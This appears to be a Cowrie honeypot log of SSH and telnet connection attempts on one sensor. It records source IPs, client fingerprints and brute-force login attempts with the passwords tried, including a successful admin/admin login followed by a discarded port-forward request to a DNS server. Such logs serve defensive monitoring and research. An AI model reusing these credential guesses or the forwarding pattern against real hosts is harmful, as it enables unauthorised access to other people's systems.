{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:68:27:55:34:9b:b1:4f:f4:44:7d:38:b8:9f:20:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuM7K/N/U5zC51p2ZTzD5mb0P1XUzOSIJYBbxcm8tvoMHnVnkLcffudBwuBu5jNqMpkH5NtvYcyWIkw7UejvMe1Eolq6197sUABwKywuazuPArk4SBgQ0eKY621NGfV6OQ9jEsMEcfYf6R6psTeUBzf7Qj/PS+UAmfuSWNAn5hNqmsOBC251hnt1jLbfjvtja7qR0GgoyC8msVEfCOLcVHOls7vGXWt1grhiaFBzt1e1AVeDo8VaBn8QW31843wCwBrruqUWOH5HanjMc7q0ApdOFG3xcO7T7HFXnTPOr5WPnm+/KLRQ4LB3r01setlccECyRpl0/Pbb98+hHVb2k1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:51.329382Z","src_ip":"168.197.250.14","session":"2709f37ce823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:51.487579Z","src_ip":"168.197.250.14","session":"2709f37ce823","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51308,"dst_ip":"10.17.0.5","dst_port":23,"session":"e928ffeb3168","protocol":"telnet","message":"New connection: 152.42.224.71:51308 (10.17.0.5:23) [session: e928ffeb3168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:53.337394Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51314,"dst_ip":"10.17.0.5","dst_port":23,"session":"962f38130a63","protocol":"telnet","message":"New connection: 152.42.224.71:51314 (10.17.0.5:23) [session: 962f38130a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:53.857786Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":55920,"dst_ip":"10.17.0.5","dst_port":22,"session":"5214adf5e53b","protocol":"ssh","message":"New connection: 185.236.22.41:55920 (10.17.0.5:22) [session: 5214adf5e53b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:59.685529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:59.733765Z","src_ip":"185.236.22.41","session":"5214adf5e53b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:59.802216Z","src_ip":"185.236.22.41","session":"5214adf5e53b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"400500600a","message":"login attempt [root/400500600a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:00.353346Z","src_ip":"185.236.22.41","session":"5214adf5e53b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:01.487497Z","src_ip":"185.236.22.41","session":"5214adf5e53b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":83.66105198860168,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:06.939483Z","src_ip":"152.42.224.71","session":"7223de73243f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00361013412476,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:09.711347Z","src_ip":"152.42.224.71","session":"fa7f0d842db3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45652,"dst_ip":"10.17.0.5","dst_port":23,"session":"2645c12a9e6e","protocol":"telnet","message":"New connection: 152.42.224.71:45652 (10.17.0.5:23) [session: 2645c12a9e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:15.493081Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":56220,"dst_ip":"159.203.135.109","dst_port":22,"session":"6630a839cf7f","protocol":"ssh","message":"New connection: 43.134.32.136:56220 (159.203.135.109:22) [session: 6630a839cf7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:25.964667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:25.971060Z","src_ip":"43.134.32.136","session":"6630a839cf7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:26.211059Z","src_ip":"43.134.32.136","session":"6630a839cf7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54690,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2676277039d","protocol":"ssh","message":"New connection: 87.251.64.176:54690 (10.17.0.5:22) [session: e2676277039d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:26.643608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:26.647129Z","src_ip":"87.251.64.176","session":"e2676277039d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:26.743124Z","src_ip":"87.251.64.176","session":"e2676277039d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:27.032659Z","src_ip":"87.251.64.176","session":"e2676277039d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:27.132132Z","session":"e2676277039d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa112233","message":"login attempt [root/aa112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:27.189038Z","src_ip":"43.134.32.136","session":"6630a839cf7f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:27.230327Z","src_ip":"87.251.64.176","session":"e2676277039d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:27.329803Z","src_ip":"87.251.64.176","session":"e2676277039d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:28.428688Z","src_ip":"43.134.32.136","session":"6630a839cf7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00344896316528,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:30.567131Z","src_ip":"152.42.224.71","session":"563c5c1233e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57622,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c658c11f523","protocol":"telnet","message":"New connection: 152.42.224.71:57622 (10.17.0.5:23) [session: 2c658c11f523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:30.682550Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49192,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fb356b51ec8","protocol":"telnet","message":"New connection: 152.42.224.71:49192 (10.17.0.5:23) [session: 1fb356b51ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:36.173805Z"}
{"eventid":"cowrie.session.closed","duration":31.72794198989868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:47.220916Z","src_ip":"152.42.224.71","session":"2645c12a9e6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.09455704689026,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:47.952220Z","src_ip":"152.42.224.71","session":"962f38130a63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.88342571258545,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:48.220586Z","src_ip":"152.42.224.71","session":"e928ffeb3168","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.124.196.25","src_port":44112,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d3862054c87","protocol":"telnet","message":"New connection: 144.124.196.25:44112 (10.17.0.5:23) [session: 7d3862054c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:49.428996Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57886,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bf5e07d668a","protocol":"telnet","message":"New connection: 152.42.224.71:57886 (10.17.0.5:23) [session: 7bf5e07d668a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:49.549455Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57902,"dst_ip":"10.17.0.5","dst_port":23,"session":"95495bd4476a","protocol":"telnet","message":"New connection: 152.42.224.71:57902 (10.17.0.5:23) [session: 95495bd4476a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:55.801498Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52634,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4f9705f0b85","protocol":"telnet","message":"New connection: 152.42.224.71:52634 (10.17.0.5:23) [session: b4f9705f0b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:43:59.090057Z"}
{"eventid":"cowrie.session.closed","duration":12.975713729858398,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:02.404589Z","src_ip":"144.124.196.25","session":"7d3862054c87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41296,"dst_ip":"10.17.0.5","dst_port":23,"session":"954d4fc5a7e3","protocol":"telnet","message":"New connection: 152.42.224.71:41296 (10.17.0.5:23) [session: 954d4fc5a7e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:13.042432Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41304,"dst_ip":"10.17.0.5","dst_port":23,"session":"a77ca26d44bd","protocol":"telnet","message":"New connection: 152.42.224.71:41304 (10.17.0.5:23) [session: a77ca26d44bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:15.859929Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":37706,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc63341fc7af","protocol":"ssh","message":"New connection: 193.37.70.224:37706 (159.203.135.109:22) [session: cc63341fc7af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:20.198892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:20.203712Z","src_ip":"193.37.70.224","session":"cc63341fc7af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:20.293540Z","src_ip":"193.37.70.224","session":"cc63341fc7af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t!","message":"login attempt [root/1q2w3e4r5t!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:20.563066Z","src_ip":"193.37.70.224","session":"cc63341fc7af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.21443343162537,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:21.345947Z","src_ip":"152.42.224.71","session":"45956a5dda75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:21.658780Z","src_ip":"193.37.70.224","session":"cc63341fc7af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46196,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ca0fdafbed9","protocol":"telnet","message":"New connection: 152.42.224.71:46196 (10.17.0.5:23) [session: 9ca0fdafbed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:24.374216Z"}
{"eventid":"cowrie.session.closed","duration":49.83183574676514,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:26.005511Z","src_ip":"152.42.224.71","session":"1fb356b51ec8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":119.21655368804932,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:28.316970Z","src_ip":"152.42.224.71","session":"7e1d8986b144","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58888,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e82ef230182","protocol":"telnet","message":"New connection: 152.42.224.71:58888 (10.17.0.5:23) [session: 7e82ef230182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:28.474964Z"}
{"eventid":"cowrie.session.closed","duration":120.0021619796753,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:30.105666Z","src_ip":"152.42.224.71","session":"8619f3e6dc45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58898,"dst_ip":"10.17.0.5","dst_port":23,"session":"60b66113352a","protocol":"telnet","message":"New connection: 152.42.224.71:58898 (10.17.0.5:23) [session: 60b66113352a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:30.436548Z"}
{"eventid":"cowrie.session.closed","duration":36.70403242111206,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:32.505387Z","src_ip":"152.42.224.71","session":"95495bd4476a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58912,"dst_ip":"10.17.0.5","dst_port":23,"session":"5762bbad5404","protocol":"telnet","message":"New connection: 152.42.224.71:58912 (10.17.0.5:23) [session: 5762bbad5404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:33.465681Z"}
{"eventid":"cowrie.session.closed","duration":120.00368881225586,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:35.847930Z","src_ip":"152.42.224.71","session":"e6905153a9eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":41222,"dst_ip":"10.17.0.5","dst_port":22,"session":"51de4a1c5211","protocol":"ssh","message":"New connection: 79.117.24.180:41222 (10.17.0.5:22) [session: 51de4a1c5211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:35.897620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:44:35.902112Z","src_ip":"79.117.24.180","session":"51de4a1c5211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 